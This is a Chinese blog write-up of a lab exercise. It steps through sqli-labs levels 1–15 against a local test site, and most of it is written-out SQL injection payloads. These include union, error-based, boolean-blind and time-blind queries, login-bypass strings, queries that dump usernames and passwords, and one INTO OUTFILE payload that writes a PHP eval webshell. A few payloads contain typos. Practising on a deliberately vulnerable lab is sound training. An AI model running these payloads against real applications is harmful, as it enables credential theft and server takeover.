本文已参与「新人创作礼」活动,一起开启掘金创作之路。
0x00 前言
时间过得真快,转眼就到了2022年。回望2021年,非常的充实,也有幸加入了这个可爱的大家庭。废话不多说,这次写靶场,也是对我以前的知识做一个实践和巩固。
0x01 内容
1.1 Less-1
使用语句判断是否能注入
?id=1 and 1=1
?id=1 and 1=2
?id=1'
通过以上的语句,发现在id后面加上'符号,页面显示不正常,这就有可能存在SQL字符注入漏洞
再输入-+符号,将sql后面的语句注释掉,页面就会回显正常,说明这个地方是单引号字符型注入漏洞
然后使用order by语句判断
?id=1' order by 1 --+ 页⾯正常
?id=1' order by 10 --+ 页⾯返回错误
?id=1' order by 5 --+ 页⾯依然报错
?id=1' order by 3 --+ 页⾯返回正常
?id=1' order by 4 --+ 页⾯返回错误,3正常,4错误,说明字段数⽬就是 3
使用union select语句联合查询
?id=1' UNION SELECT 1,2,3 --+
这里故意弄几个错误的语句来报错
id=-1' UNION SELECT 1,2,3 --+ 通过id=-1 ⼀个负数不存在的id值来触发报错
id=1' and 1=2 UNION SELECT 1,2,3 --+ 通过and 1=2 语句来触发报错
id=1' or 1=1 UNION SELECT 1,2,3 --+ 通过or 1=1 语句来触发报错
现在使用以下语句来查询当前的数据库名
?id=1' and 1=2 union select 1,database(),3 --+
使用以下语句来查询mysql版本
?id=1' and 1=2 union select 1,2,version() --+
使用以下语句来查询数据库用户和路径的信息
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+
使用以下语句来查询全部数据库的信息
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
使用以下语句来查询security内的所有表名
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
使用以下语句来查询数据库列名
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
使用以下语句来查询所以的用户名和密码
lesect group_concat(password) from security.users
lesect group_concat(username) from security.users
1.2 Less-2
使用以下语句来测试注入
?id=1 and 1=1
?id=1 and 1=2
?id=1'
在id的后面加入'符号
http://127.0.0.1/sqli-labs/Less-2/?id=1'
然后使用order by语句来判断
?id=1 order by 1 --+ 页⾯正常
?id=1 order by 10 --+ 页⾯返回错误
?id=1 order by 5 --+ 页⾯依然报错
?id=1 order by 3 --+ 页⾯返回正常
?id=1 order by 4 --+ 页⾯返回错误,3正常,4错误,说明字段数⽬就是 3
又故意搞几个能报错的语句
id=0' UNION SELECT 1,2,3 --+
id=1' and 1=2 UNION SELECT 1,2,3 --+
id=1' or 1=1 UNION SELECT 1,2,3 --+
使用以下语句来查询数据库名和版本
http://127.0.0.1/sqli-labs/Less-2/?id=0 union select 1,version(),database() --+
使用以下语句来查询数据库名称
union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+ # 查询一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+ # 查询全部数据库
使用以下语句来查询表的名称
union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
使用以下语句来查询列名
union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+
使用以下语句来查询全部用户名和密码
union select 1,database(),concat(id,0x7e,username,0x3A,password,0x7e) from users limit 0,1 --+
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+
1.3 Less-3
使用以下语句测试注入点
?id=1' and 1=1 --+
?id=1' or 1=2 --+
?id=1'
?id=1 and 1=1
?id=1')
输入 ?id=1') --+语句, 页面回显正常,说明这里是字符型注入,而且是以('')的方式闭合字符串
然后使用order by语句来判断
?id=1') order by 1 --+ 页⾯正常
?id=1') order by 5 --+ 页⾯依然报错
?id=1') order by 3 --+ 页⾯返回正常
?id=1') order by 4 --+ 页⾯返回错误,3正常,4错误,说明字段数⽬就是 3
搞几个能报错的语句
id=0') UNION SELECT 1,2,3 --+
id=1') and 1=2 UNION SELECT 1,2,3 --+
id=1') or 1=2 UNION SELECT 1,2,3 --+
使用以下语句来查询数据库名和版本
http://127.0.0.1/sqli-labs/Less-2/?id=0') union select 1,version(),database() --+
1.4 Less-4
使用以下语句查找注入点
?id=1" --+
?id=1") --+
然后使用order by语句判断
?id=1 order by 1 --+ 页⾯正常
?id=1 order by 10 --+ 页⾯返回错误
?id=1 order by 5 --+ 页⾯依然报错
?id=1 order by 3 --+ 页⾯返回正常
?id=1 order by 4 --+ 页⾯返回错误,3正常,4错误,说明字段数⽬就是 3
继续搞几个错误语句来报错
id=0") UNION SELECT 1,2,3 --+
id=1") and 1=2 UNION SELECT 1,2,3 --+
id=1") or 1=2 UNION SELECT 1,2,3 --+
使用以下语句来查询数据库的版本和数据库名称
http://127.0.0.1/sqli-labs/Less-4/?id=0") union select 1,version(),database() --+
使用以下语句查询全部数据库名
union select 1,database(),group_concat(schema_name) from information_schema.schemata
使用以下语句查询表的名称
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
使用以下语句查询列的名称
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+
使用以下语句来查询数据
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+
1.5 Less-5
使用以下语句来测试本关的测试点
?id=1
?id=1'
?id=-1'
使用limit语句来查询数据
?id=2' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0
使用以下语句俩查询数据库名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
使用以下语句来查询表名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
使用以下语句来查询列名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema ='security' and table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
使用以下语句来查询数据
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
1.6 Less-6
使用以下语句来测试本关注入点
?id=1
?id=1'
?id=1"
使用以下语句来查询数据库名称
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
使用以下语句来查询数据库表名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
使用以下语句查询列名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema ='security' and table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
使用以下语句来查询数据
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
1.7 Less-7
本关提示使用file权限向服务器写入文件,由于用的是phpstudy搭建的环境,所以直接在本机上搞一个目录
这个方法需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数.如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
使用以下语句来尝试写入文件,然后在本机文件夹下查看文件是否成功
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\aii.php"--+
后面就能用菜刀进行webshell了。
1.8 Less-8
使用以下语句来测试本关注入点
?id=1
?id=1'
使用以下语句来查询数据库长度
?id=1' and length(database())>8 --+
使用以下ascii码来查询数据库名
?id=1' and ord(substr(database(),1,1))>99 --+
?id=1' and ascii(substr((database()),1,1)) > 99 --+
?id=1' and ascii(substr((database()),1,1)) = 99 --+
?id=1' and left(database(),1)='s' --+
使用以下ascii码来查询数据库表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101)--+
使用以下语句来查询列名或字段
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>97--+
使用以下语句来查询数据的值
?id=1' and (ascii(substr(( select username from users limit 0,1),1,1)))>65--+
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>65--+
1.9 Less-9
使用以下语句来测试本关注入点
?id=1
?id=1'
?id=1"
上面的结果都是相同的,试试以下的时间注入语句
?id=1 'and sleep(10) --+
发现结果延迟了10s才显现出来
使用以下语句来判断
?id=1'and if(database()='security',sleep(2),1) --+
?id=1'and if(ascii(substring((select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1))>0,sleep(2),1) --+
使用以下语句来查询表
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
使用以下语句来查询值
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
1.10 Less-10
使用以下语句来判断本关注入点
?id=1" and (sleep(3))--+ (有延迟)
?id=1’ and (sleep(3))--+ (无延迟)
使用以下语句来查询数据库长度
?id=1" and if (length(database()) = 8 ,sleep(4),1)--+
使用以下数据来查询数据库
?id=1" and If(ascii(substr(database(),1,1))=115,sleep(5),1) --+
?id=1' and If(ascii(substr(database(),2,1))=101,sleep(5),1) --+
使用以下语句来查询表名
?id=1" and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(4),1) --+ (u)
?id=1" and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(4),1) --+ (s)
使用以下语句来查询字段
?id=1" and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(4),1) --+
使用以下语句来查询数据
?id=1" and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(4),1) --+
1.11 Less-11
本关可以使用以下万能密码,当然也可以使用admin也能登录
admin' or 1 #)
使用以下语句来查询字段
uname=admin' order by 2#&passwd=&submit=Submit
使用以下语句来联合查询
uname=-admin' union select 1,2#&passwd=&submit=Submit 注:加入-号,使其报错
使用以下语句来查询数据库和用户的信息
uname=-admin' union select database(),user()#&passwd=&submit=Submit
使用以下语句来查询表名
uname=-admin' union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=&submit=Submit
使用以下语句来查找字段名
uname=-admin' union select(select group_concat(column_name) from information_schema.columns where table_name='users'),2#&passwd=&submit=Submit
使用以下语句来查询数据
uname=-admin' union select(select group_concat(username,password) from users),2#&passwd=&submit=Submit
1.12 Less-12
这关和上关差不多,使用以下万能密码来测试
admin") or 1 #)
使用以下语句来查询字段
uname=admin") order by 2#&passwd=&submit=Submit
使用以下语句联合查询
uname=-admin") union select 1,2#&passwd=&submit=Submit 注:加入-号,使其报错
使用以下语句来查询数据库和用户信息
uname=-admin") union select database(),user()#&passwd=&submit=Submit
使用以下语句来查询表名
uname=-admin") union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=&submit=Submit
79
使用以下语句来查询字段名
uname=-admin") union select(select group_concat(column_name) from information_schema.columns where table_name='users'),2#&passwd=&submit=Submit
使用以下语句来查询数据
uname=-admin") union select(select group_concat(username,password) from users),2#&passwd=&submit=Submit
1.13 Less-13
使用以下语句来测试注入点
uname= " or "1"="1&passwd=" or "1"="1 &submit=Submit
uname=" or 1=1 --+&passwd=" or 1=1 --+&submit=Submit
uname=" or 1=1 #&passwd=" or 1=1 #&submit=Submit
uname=admin') &passwd=&submit=Submit
使用以下语句来查询字段名
uname=admin') order by 1,2 # &passwd=&submit=Submit
使用以下语句联合查询
uname=admin') union select 1,2 # &passwd=&submit=Submit
使用以下语句来查询数据库的版本
uname=-admin') and (extractvalue(1,concat(0x5c,version(),0x5c)))#&passwd=&subimt=Subimt
使用以下语句来查询用户名
uname=admin') and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5c)))#&passwd=&subimt=Subimt
使用以下语句来查询数据库中的字段
uname=-admin') and (extractvalue(1,concat(0x5c,(select table_name from information_schema.columns where table_name='users' limit 2,1),0x5c)))#&passwd=&subimt=Subimt
使用以下语句来查询数据
uname=admin') and (extractvalue(1,concat(0x5c,(select username from users limit 1,1),0x5c)))#&passwd=&submit=Submit
1.14 Less-14
使用以下语句来测试注入点
uname=admin') &passwd=&submit=Submit
uname=admin") &passwd=&submit=Submit
uname=admin" &passwd=&submit=Submit
使用以下语句来查询长度
uname=admin" order by 1,2 # &passwd=&submit=Submit
使用以下语句来查询数据库的版本
uname=-admin" and (extractvalue(1,concat(0x5c,version(),0x5c)))#&passwd=&subimt=Subimt
使用以下语句来查询用户名
uname=admin" and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5c)))#&passwd=&subimt=Subimt
使用以下语句来查询数据库中的字段
uname=-admin" and (extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x5c)))#&passwd=&subimt=Subimt
使用以下语句来查询数据
uname=admin" and (extractvalue(1,concat(0x5c,(select username from users limit 1,1),0x5c)))#&passwd=&submit=Submit
1.15 Less-15
使用以下语句来测试注入点
uname=admin' and sleep(4) #&passwd=&submit=Submit
使用以下语句来查询数据库
uname=admin' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)) =105,sleep(4),1 ) #&passwd=&submit=Submit
使用以下语句来查询数据表
uname=admin' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(4),1) #&passwd=&submit=Submit
使用以下语句来查询字段
uname=admin' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(4),1)--+ #&passwd=&submit=Submit
使用以下语句来查询数据
uname=admin' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(4),1) #&passwd=&submit=Submit
0x01 总结
sqli-labs靶场就写到这里,后续的内容太多。往后有时间的话会慢慢更新的。如果有什么问题,请各位大佬反馈给我,让我学习大佬们的骚操作。
本文使用 文章同步助手 同步